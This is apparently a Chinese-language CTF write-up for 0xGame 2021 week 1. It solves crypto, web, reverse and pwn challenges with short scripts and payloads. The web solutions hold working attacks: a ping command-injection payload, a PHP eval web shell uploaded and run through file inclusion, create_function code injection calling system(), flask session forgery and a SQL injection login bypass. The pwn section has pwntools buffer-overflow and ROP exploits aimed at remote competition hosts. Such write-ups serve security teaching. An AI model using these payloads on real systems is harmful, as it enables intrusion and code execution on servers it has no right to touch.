Oxgame2021week1

web

CuteCaesar

打开发现是嗷呜啊~组成的密文,百度发现是兽语加密,在线解密得到凯撒加密后的密文,发现偏移量为3,解出flag

manycode

打开发现是颜文字,颜文字在线解密,之后发现是base16,解码得到base64,继续解码base32得到flag

MyFunction

大概是解这样一个方程

x*log(x)=185.81764852357878

好像可以利用python的模块Sympy来解,但是会报错,所以直接暴力从可见ascill码(32-126)个字符

  1. from math import log
  2. c=[]
  3. flag=[]
  4. def f(x):
  5. return x*log(x)
  6. '''
  7. with open("output.txt","r") as f:
  8. while True:
  9. lines = f.readline() # 整行读取数据
  10. lines=lines.strip('\n')
  11. lines=lines.strip('\r')
  12. c.append(lines)
  13. if not lines:
  14. break
  15. print(c)
  16. '''
  17. b=['185.81764852357878', '574.4990091338454', '302.6502712699334', '443.74696491482814', '511.3569191629766', '466.1271722009672', '591.8986757108073', '399.4886369061604', '522.7578523456691', '557.1743503713375', '307.919960569156', '205.46467336623422', '562.9407856869485', '466.1271722009672', '323.81160851522327', '517.0528402371658', '185.81764852357878', '568.715695680272', '466.1271722009672', '460.51701859880916', '350.5621307739105', '580.2906560172057', '220.40332518778592', '483.0166535107027', '522.7578523456691', '517.0528402371658', '329.13573386176114', '185.81764852357878', '225.41969468116838', '190.6991946074207', '545.6671947617738', '245.66067373332604', '580.2906560172057', '250.763305714572', '505.67017252941577', '517.0528402371658', '147.55517816455745', '574.4990091338454', '152.25645473487663', '255.88233187279567', '313.2035392038325', '517.0528402371658', '334.47301748273367', '205.46467336623422', '220.40332518778592', '483.0166535107027', '545.6671947617738', '603.5392171627877']
  18. b = list(map(float, b))
  19. for j in b:
  20. for i in range(32,128):
  21. if f(i)==j:
  22. print(i)
  23. flag.append(chr(i))
  24. print("".join(flag))

ABC Of RSA

RSA求逆元d

  1. from Crypto.Util.number import *
  2. p=9677
  3. q=9241
  4. e=10009
  5. fn=(p-1)*(q-1)
  6. d=inverse(e,fn)
  7. flag="0xGame{%d}"%(d)
  8. print(flag)

Class8

8种古典密码类型:盲文,跳舞小人,猪圈,手机键盘,摩斯密码,银河密码,培根密码,电脑键盘

0xgameweek1 - 图1

ezVigenère

在线解密

https://www.guballa.de/vigenere-solver

或者对应0xgame可以解出key为abc

BlackGiveRSA

n在线分解http://factordb.com

  1. from Crypto.Util.number import *
  2. # from secret import flag,p,q
  3. p=1175078221
  4. q=1435756429
  5. c=[1150947306854980854,
  6. 243703926267532432,
  7. 1069319314811079682,
  8. 688582941857504686,
  9. 670683629344243145,
  10. 1195068175327355214]
  11. assert q>p
  12. n=p*q
  13. e=10007
  14. # assert len(flag)==42
  15. # for i in range(6):
  16. # m=bytes_to_long(flag[i*7:i*7+7])
  17. # print(pow(m,e,n))
  18. print("Encryption using modulus n=",n)
  19. """
  20. OutPut:
  21. 1150947306854980854
  22. 243703926267532432
  23. 1069319314811079682
  24. 688582941857504686
  25. 670683629344243145
  26. 1195068175327355214
  27. Encryption using modulus n= 1687126110378632809
  28. """
  29. fn=(p-1)*(q-1)
  30. d=inverse(e,fn)
  31. for i in c:
  32. flag=pow(i,d,n)
  33. print(bytes.fromhex(hex(flag)[2:]))
  34. a='0xGame{ChuTiRenDeQQShiJiShangJiuShiQDeZhi}'
  35. print(len(a))

web

爱ping才会赢

知识点:无过滤的ping命令执行system(‘’)

抓包

127.0.0.1;cat /flag

看看我的头

知识点:xff头、userangent伪造

  1. import base64
  2. import requests
  3. payload={
  4. "X1cT34m":"1",
  5. "Pupi1":"1"
  6. }
  7. head={
  8. "User-Agent": "N1k0la浏览器".encode('utf-8'),
  9. "x-forwarded-for": "127.0.0.1"
  10. }
  11. url='http://159.75.116.195:700/?0xGame2021=welcome to the 0xGame2021'
  12. r=requests.post(url=url,headers=head,data=payload)
  13. print(r.text)
  14. a='JGE9JF9HRVRbJzB4R2FtZTIwMjEnXTskYj0kX1BPU1RbJ1gxY1QzNG0nXTskZD0kX1BPU1RbJ1B1cGkxJ107JGM9J3dlbGNvbWUgdG8gdGhlIDB4R2FtZTIwMjEnO2lmKG1kNSgkYik9PW1kNSgkZCkmJiRhPT09JGMpe2VjaG8gJGZsYWc7fQ=='
  15. a=base64.b64decode(a)
  16. print(a)

你看看你能登录吗

知识点:爆破

抓包

发送到测试模式,狙击手模式,账号为admin,密码为四位,选择暴力,位数为4,线程50,爆破密码后成功登录

一个简单的文件上传

知识点:

php短标签https://www.jianshu.com/p/5ce7020467f2

<?=,它和 <? echo 等价, 从 PHP 5.4.0 起, <?= 总是可用的

源码里面有注释:可以实现任意文件读取,实际上就是文件包含,可以用伪协议读源码

?filename=php://filter/read=convert.base64-encode/resource=index.php

读到两个文件,代码审计发现,上传会检测文件内容是否含有php,最后想到可以用短标签绕过,在结合文件包含可以getshell。

  1. <div class="light"><span class="glow">
  2. <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
  3. 嘿伙计,传个火?!
  4. <input class="input_file" type="file" name="upload_file"/>
  5. <input class="button" type="submit" name="submit" value="upload"/>
  6. </form>
  7. </span><span class="flare"></span><div>
  8. <!--read.php?filename= -->
  9. <?php
  10. error_reporting(0);
  11. //设置上传目录
  12. define("UPLOAD_PATH", "./uplo4d");
  13. $msg = "Upload Success!";
  14. if (isset($_POST['submit'])) {
  15. $temp_file = $_FILES['upload_file']['tmp_name'];
  16. $file_name = $_FILES['upload_file']['name'];
  17. $ext = pathinfo($file_name,PATHINFO_EXTENSION);
  18. if(preg_match("/ph/i", strtolower($ext))){
  19. die("这可不能上传啊!");
  20. }
  21. $content = file_get_contents($temp_file);
  22. if(preg_match("/php/i", $content)){
  23. die("诶,被我发现了吧");
  24. }
  25. $new_file_name = md5($file_name).".".$ext;
  26. $img_path = UPLOAD_PATH . '/' . $new_file_name;
  27. if (move_uploaded_file($temp_file, $img_path)){
  28. $is_upload = true;
  29. } else {
  30. $msg = 'Upload Failed!';
  31. }
  32. echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
  33. }
  34. ?>
  35. <?php
  36. highlight_file(__FILE__);
  37. error_reporting(0);
  38. $a=$_GET["filename"];
  39. if(preg_match('/flag/i',$a)){
  40. exit("nononono");
  41. }
  42. include($a);
  43. ?>

上传一个txt文件<?@eval($_POST['a']);?>,然后用文件包含包含这个txt文件里面的内容就可以被当作代码执行了,

访问read.php?filename=./uplo4d/4717b086fb956e9f44326d55ebdae88d.txt,蚁剑连shell即可。

getshell之后输入 env可以看到flag在环境变量里面。

find_my_secret

知识点:create_function代码注入,hash_hmac函数缺陷

https://blog.51cto.com/lovexm/1743442

hash_hmac 传入数组会返回NULL, $secret_key就可以知道了

算hash的poc

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. $secret_key='123';
  5. if(isset($_POST['N1k0la']))
  6. $secret_key = hash_hmac('sha256', $_POST['N1k0la'], $secret_key);
  7. $payload = hash_hmac('sha256', $_POST['Pupi1'], $secret_key);
  8. echo $payload;

payload:

Poria=1857d775657b27eb33cf2ee35da75f24e414f657e4df5c7190375acfc6a76a5a&Pupi1=return 0;}system('ls');///&N1k0la[]=1&action=%5Ccreate_function

一个简单的登录

知识点:flask session 伪造,session放客户端不安全

基本和下面这题一样:

https://www.cnblogs.com/zaqzzz/p/10243961.html

payload

python3 flask_session_cookie_manager3.py encode -s 'x1ct34myydsytstflglgjhdfhsh' -t '{"name":"admin","uid":"1"}'

之后带着cookie登录即可

Come to Inject me

知识点:万能密码

又是登录框,fuzz下过滤了单引号和空格

猜测后端语句为

select * from users where username='1\' and password='or 2>1'#'

payload

username=1\&password=or(2>1)#

Reverse

Packet

拖进peid发现加壳了是UPX壳,用UPX脱壳一下然后拖入IDA,进入IDA后按F5可以显示C语言代码
exp:
Our Compilation Story
先逆转一下,a字符串一位和后面三位的异或可以得到flag
exp:

  1. enc=[145, 119, 251, 14, 183, 204, 228, 56, 17, 148, 253, 133, 92, 145, 132, 92,
  2. 125, 103, 39, 52, 53, 10, 216, 35, 13, 48, 101, 62, 19, 69, 84, 82, 81, 62,
  3. 176, 217, 19, 51, 195, 255]
  4. check=[161, 15, 188, 111, 218, 169, 159, 94, 41, 246, 197, 228, 110, 242, 177,
  5. 56, 27, 1, 17, 0, 0, 50, 233, 65, 104, 2, 4, 6, 42, 112, 55, 107, 48, 93, 130,
  6. 232, 37, 87, 242, 130]
  7. '''
  8. #暴力破解方法
  9. print(len(enc),len(check))
  10. flag=[]
  11. for i in range(len(check)):
  12. for j in range(0,128):
  13. if check[i] & ~j |j & ~check[i]==enc[i]:
  14. flag.append(chr(j))
  15. print("".join(flag))
  16. print(flag)
  17. print(len(flag))
  18. '''
  19. #异或
  20. flag=""
  21. for i in range(len(check)):
  22. flag+=chr(enc[i]^check[i])
  23. print(flag)

Random Chaos

  1. a=[9, 0, 0, 0, 15, 0, 0, 0, 12, 0, 0, 0, 3, 0, 0, 0, 2, 0, 0, 0, 16, 0, 0, 0, 11, 0, 0, 0, 14, 0, 0, 0, 7, 0, 0, 0, 10, 0, 0, 0, 46, 0, 0, 0, 45, 0, 0, 0, 43, 0, 0, 0, 46, 0, 0, 0, 47, 0, 0, 0, 45, 0, 0, 0, 47, 0, 0, 0, 40, 0, 0, 0, 49, 0, 0, 0, 58, 0, 0, 0, 49, 0, 0, 0, 51, 0, 0, 0, 51, 0, 0, 0, 43, 0, 0, 0, 50, 0, 0, 0, 55, 0, 0, 0, 55, 0, 0, 0, 56, 0, 0, 0, 60, 0, 0, 0, 48, 0, 0, 0]
  2. b=[206, 255, 255, 255, 147, 255, 255, 255, 216, 255, 255, 255, 242, 255, 255, 255, 223, 255, 255, 255, 112, 255, 255, 255, 114, 255, 255, 255, 208, 255, 255, 255, 166, 255, 255, 255, 154, 255, 255, 255]
  3. flag=[]
  4. c=[]
  5. for i in range(len(b)):
  6. b[i]=str(bin(b[i]).lstrip('0b'))
  7. t=0
  8. for i in range(50):
  9. c.append(b[t+3]+b[t+2]+b[t+1]+b[t])
  10. t=t+4
  11. if t==40:
  12. break
  13. for i in range(len(c)):
  14. c[i]='0b'+c[i]
  15. c[i]=int(c[i],2)
  16. # print(c)
  17. for i in a:
  18. if i !=0:
  19. flag.append(i)
  20. list1=flag+c
  21. print(list1)

Neverland

  1. from Crypto.Util.number import *
  2. def Fib_general_formula(n):
  3. n=n+1
  4. return int(3*pow(4,n-1)+4*pow(-1,n-1))
  5. idx=[9, 0xF,0xC,3,2,0x10,0xB,0xE,7,0xA,0x2E,0x2D,0x2B,0x2E,0x2F,0x2D, 0x2F,0x28,0x31,0x3A,0x31,0x33,0x33,0x2B,0x32,0x37,0x37,0x38, 0x3C, 0x30, 0xFFFFFFCE, 0xFFFFFF93,0xFFFFFFD8, 0xFFFFFFF2, 0xFFFFFFDF, 0xFFFFFF70, 0xFFFFFF72,0xFFFFFFD0,0xFFFFFFA6,0xFFFFFF9A]
  6. enc=[0xBFFCC,0xBFFFFF84,0x3000043,0xDD,0x59, 0x61,0xBFFF87,0x30000035, 0xBF99, 0x300032, 0x36, 0xFFFFFFC9, 0xFFFFFF98,0x30,0xFFFFFF9F,0xFFFFFFCC,0xFFFFFFC8,0x62,0xFFFFFF99,0x30,0xFFFFFFC8,0xFFFFFF9A,0xFFFFFFC5,0xFFFFFF9E,0x32,0xFFFFFFC4,0xFFFFFFC8,0x60,0x3D,0x35,0x3D,0xFFFFFFCB,0x34,0x3C,0xFFFFFF9F, 0x65,0x65,0x33,0x66,0x79]
  7. flag=[]
  8. for i in range(len(idx)):
  9. flag.append(chr((Fib_general_formula(idx[i])^enc[i])%128))
  10. print(flag[i],end='')

pwn

nobackdoor

  1. from pwn import *
  2. p = remote('121.4.15.155',10001)
  3. bin_sh_addr=0x0404040
  4. system_addr=0x0401040
  5. pop_rdi_addr=0x401223
  6. payload = b"A"*0x58+ p64(pop_rdi_addr)+p64(bin_sh_addr)+ p64(system_addr)
  7. p.sendline(payload)
  8. p.interactive()

ret2text

  1. from pwn import *
  2. io = remote('121.4.15.155',10003)
  3. success_addr = 0x401157
  4. payload = b'a' * 88 + p64(success_addr)
  5. io.sendline(payload)
  6. io.interactive()